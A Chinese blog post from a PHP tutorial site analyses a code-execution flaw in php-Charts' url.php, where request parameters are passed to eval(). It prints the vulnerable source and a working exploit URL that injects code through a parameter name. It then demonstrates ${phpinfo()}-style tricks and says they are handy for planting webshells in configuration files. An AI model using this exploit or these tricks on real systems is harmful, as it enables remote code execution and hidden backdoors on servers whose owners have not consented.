网站地图    收藏   

主页 > 后端 > 网站安全 >

从php-Charts 'url.php'代码执行学到的小技巧

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 漏洞分析和利用在这里。漏 洞 代 码:?php require(../lib/phpchart.class.php); $color_var=array(txt_col,line_col,bg_color); $cname=$_GET[type]; $chart=new PHPChart($cname); foreac......

漏洞分析和利用在这里

漏 洞 代 码:
<?php
        require("../lib/phpchart.class.php");
        $color_var=array("txt_col","line_col","bg_color");
        $cname=$_GET["type"];
        $chart=new PHPChart($cname);
      
        foreach($_GET as $key=>$value)
        {
                if($value!="")
                {
                        if(in_array($key,$color_var))
                        eval('$chart->'.$key.'="#'.$value.'";');
                        else if($value=='yes')
                        eval('$chart->'.$key.'=true;');
                        else if($value=='no')
                        eval('$chart->'.$key.'=false;');
                        else if(is_numeric($value))
                        eval('$chart->'.$key.'='.$value.';');
                        else
                        eval('$chart->'.$key."='".$value."';");
                }
        }
        $chart->genChart();
分析的话没什么好看的,直接看利用吧。/wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY。这样带进去的话就是:eval(‘$chart->${var_dump($_SERVER)}= \’ IZABEKAILOVEYOUBABY\’;’),因为对象没有这个属性会报错,但是var_dump($_SERVER)确是可以执行的。下面来个小实验:
 <?php
class Cart {
    var $item;
    function get_item() {
        echo $this->item;
    }
}
    
$cart = new Cart();
$cart->${phpinfo()} = 'zhizi';
当然这个phpinfo()还是会执行的。具体原理应该和php的类实现机制有关,但是php内部机制不太懂,也请懂的指点下。类似的还有:
S = "{${@phpinfo()}}"
   
$arr = array(
        'a'=>"b",
        'c'=>${@phpinfo()}
        );
这些在配置文件中写马很有用。 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论